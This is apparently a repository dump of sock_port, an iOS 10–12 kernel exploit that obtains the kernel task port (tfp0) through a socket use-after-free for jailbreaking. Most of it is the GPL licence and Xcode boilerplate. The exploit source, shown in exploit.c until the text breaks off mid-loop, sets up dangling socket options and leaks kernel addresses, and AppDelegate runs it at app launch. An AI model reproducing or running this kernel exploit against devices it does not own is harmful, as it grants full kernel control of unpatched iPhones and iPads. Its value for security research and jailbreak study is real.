Repository: jakeajames/sock_port Branch: sock_port_2 Commit: 278a8808f42e Files: 40 Total size: 231.7 KB Directory structure: gitextract_ym2mvky9/ ├── LICENSE ├── Makefile ├── README.md ├── sock_port/ │ ├── AppDelegate.h │ ├── AppDelegate.m │ ├── Assets.xcassets/ │ │ └── AppIcon.appiconset/ │ │ └── Contents.json │ ├── Base.lproj/ │ │ ├── LaunchScreen.storyboard │ │ └── Main.storyboard │ ├── Info.plist │ ├── ViewController.h │ ├── ViewController.m │ ├── exploit.c │ ├── exploit.h │ ├── exploit_utilities.c │ ├── exploit_utilities.h │ ├── include/ │ │ └── IOKit/ │ │ ├── IOKitKeys.h │ │ ├── IOKitLib.h │ │ ├── IOReturn.h │ │ ├── IOTypes.h │ │ └── OSMessageNotification.h │ ├── iosurface.c │ ├── iosurface.h │ ├── kernel_memory.c │ ├── kernel_memory.h │ ├── main.m │ ├── offsets.h │ └── offsets.m ├── sock_port.xcodeproj/ │ ├── project.pbxproj │ ├── project.xcworkspace/ │ │ ├── contents.xcworkspacedata │ │ ├── xcshareddata/ │ │ │ └── IDEWorkspaceChecks.plist │ │ └── xcuserdata/ │ │ ├── jakejames.xcuserdatad/ │ │ │ └── UserInterfaceState.xcuserstate │ │ └── pwn20wnd.xcuserdatad/ │ │ └── UserInterfaceState.xcuserstate │ ├── xcshareddata/ │ │ └── xcschemes/ │ │ └── sock_port.xcscheme │ └── xcuserdata/ │ ├── jakejames.xcuserdatad/ │ │ ├── xcdebugger/ │ │ │ └── Breakpoints_v2.xcbkptlist │ │ └── xcschemes/ │ │ └── xcschememanagement.plist │ └── pwn20wnd.xcuserdatad/ │ └── xcschemes/ │ └── xcschememanagement.plist ├── sock_port_UITests/ │ ├── Info.plist │ └── socket_freeUITests.m └── sock_port_tests/ ├── Info.plist └── socket_freeTests.m ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ TARGET = sock_port .PHONY: all clean all: clean xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="com.jakeashacks.sock-port" -sdk iphoneos -configuration Debug ln -sf build/Debug-iphoneos Payload zip -r9 $(TARGET).ipa Payload/$(TARGET).app clean: rm -rf build Payload $(TARGET).ipa ================================================ FILE: README.md ================================================ # sock_port iOS 10.0-12.2 (+12.4) tfp0 for all devices (in theory). Some info: - Uses socket bug by Ned Williamson - Uses some things by Ian Beer, machswap, SockPuppet - The rest of the code is licensed under GPL, unless given permission explicitly to distribute closed-source (the unc0ver team, pwn20wnd and sbingner, have this permission) - The difference between this and original sock_port is that the main technique of this is taken from SockPuppet, the original sock_port took the initial ideas then I had my own, while this uses the same overall techniques with differences in implementation. Success rate on my iPad Air 2 is close to 100%, and most of the time it takes less than a second to run. Write-up: https://raw.githubusercontent.com/jakeajames/sock_port/master/sock_port.pdf Thanks to Pwn20wnd and GeoSn0w & users for helping with testing on multiple devices (and Corellium). ================================================ FILE: sock_port/AppDelegate.h ================================================ // // AppDelegate.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import @interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow *window; @end ================================================ FILE: sock_port/AppDelegate.m ================================================ // // AppDelegate.m // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import "AppDelegate.h" #include "exploit.h" @interface AppDelegate () @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { mach_port_t tfp0 = get_tfp0(); return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end ================================================ FILE: sock_port/Assets.xcassets/AppIcon.appiconset/Contents.json ================================================ { "images" : [ { "idiom" : "iphone", "size" : "20x20", "scale" : "2x" }, { "idiom" : "iphone", "size" : "20x20", "scale" : "3x" }, { "idiom" : "iphone", "size" : "29x29", "scale" : "2x" }, { "idiom" : "iphone", "size" : "29x29", "scale" : "3x" }, { "idiom" : "iphone", "size" : "40x40", "scale" : "2x" }, { "idiom" : "iphone", "size" : "40x40", "scale" : "3x" }, { "idiom" : "iphone", "size" : "60x60", "scale" : "2x" }, { "idiom" : "iphone", "size" : "60x60", "scale" : "3x" }, { "idiom" : "ipad", "size" : "20x20", "scale" : "1x" }, { "idiom" : "ipad", "size" : "20x20", "scale" : "2x" }, { "idiom" : "ipad", "size" : "29x29", "scale" : "1x" }, { "idiom" : "ipad", "size" : "29x29", "scale" : "2x" }, { "idiom" : "ipad", "size" : "40x40", "scale" : "1x" }, { "idiom" : "ipad", "size" : "40x40", "scale" : "2x" }, { "idiom" : "ipad", "size" : "76x76", "scale" : "1x" }, { "idiom" : "ipad", "size" : "76x76", "scale" : "2x" }, { "idiom" : "ipad", "size" : "83.5x83.5", "scale" : "2x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: sock_port/Base.lproj/LaunchScreen.storyboard ================================================ ================================================ FILE: sock_port/Base.lproj/Main.storyboard ================================================ ================================================ FILE: sock_port/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType APPL CFBundleShortVersionString 1.0 CFBundleVersion 1 LSRequiresIPhoneOS UILaunchStoryboardName LaunchScreen UIMainStoryboardFile Main UIRequiredDeviceCapabilities armv7 UISupportedInterfaceOrientations UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UISupportedInterfaceOrientations~ipad UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight ================================================ FILE: sock_port/ViewController.h ================================================ // // ViewController.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import @interface ViewController : UIViewController @end ================================================ FILE: sock_port/ViewController.m ================================================ // // ViewController.m // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import "ViewController.h" @interface ViewController () @end @implementation ViewController - (void)viewDidLoad { [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } @end ================================================ FILE: sock_port/exploit.c ================================================ // // exploit.c // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #include "exploit.h" // utilities to manipulate sockets int set_minmtu(int sock, int *minmtu) { return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu)); } int get_minmtu(int sock, int *minmtu) { socklen_t size = sizeof(*minmtu); return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size); } int get_prefertempaddr(int sock, int *prefertempaddr) { socklen_t size = sizeof(*prefertempaddr); return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size); } int set_prefertempaddr(int sock, int *prefertempaddr) { return setsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, sizeof(*prefertempaddr)); } int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) { socklen_t size = sizeof(*pktinfo); return getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size); } int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) { return setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo)); } // free the pktopts struct of the socket to get ready for UAF int free_socket_options(int sock) { return disconnectx(sock, 0, 0); } // return a socket we can UAF on int get_socket() { int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) { printf("[-] Can't get socket, error %d (%s)\n", errno, strerror(errno)); return -1; } // allow setsockopt() after disconnect() struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT}; int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); if (ret) { printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno)); return -1; } return sock; } // return a socket ready for UAF int get_socket_with_dangling_options() { int socket = get_socket(); int minmtu = -1; set_minmtu(socket, &minmtu); free_socket_options(socket); return socket; } mach_port_t new_port() { mach_port_t port; kern_return_t rv = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (rv) { printf("[-] Failed to allocate port (%s)\n", mach_error_string(rv)); return MACH_PORT_NULL; } rv = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (rv) { printf("[-] Failed to insert right (%s)\n", mach_error_string(rv)); return MACH_PORT_NULL; } return port; } // first primitive: leak the kernel address of a mach port uint64_t find_port_via_uaf(mach_port_t port, int disposition) { // here we use the uaf as an info leak int sock = get_socket_with_dangling_options(); for (int i = 0; i < 0x10000; 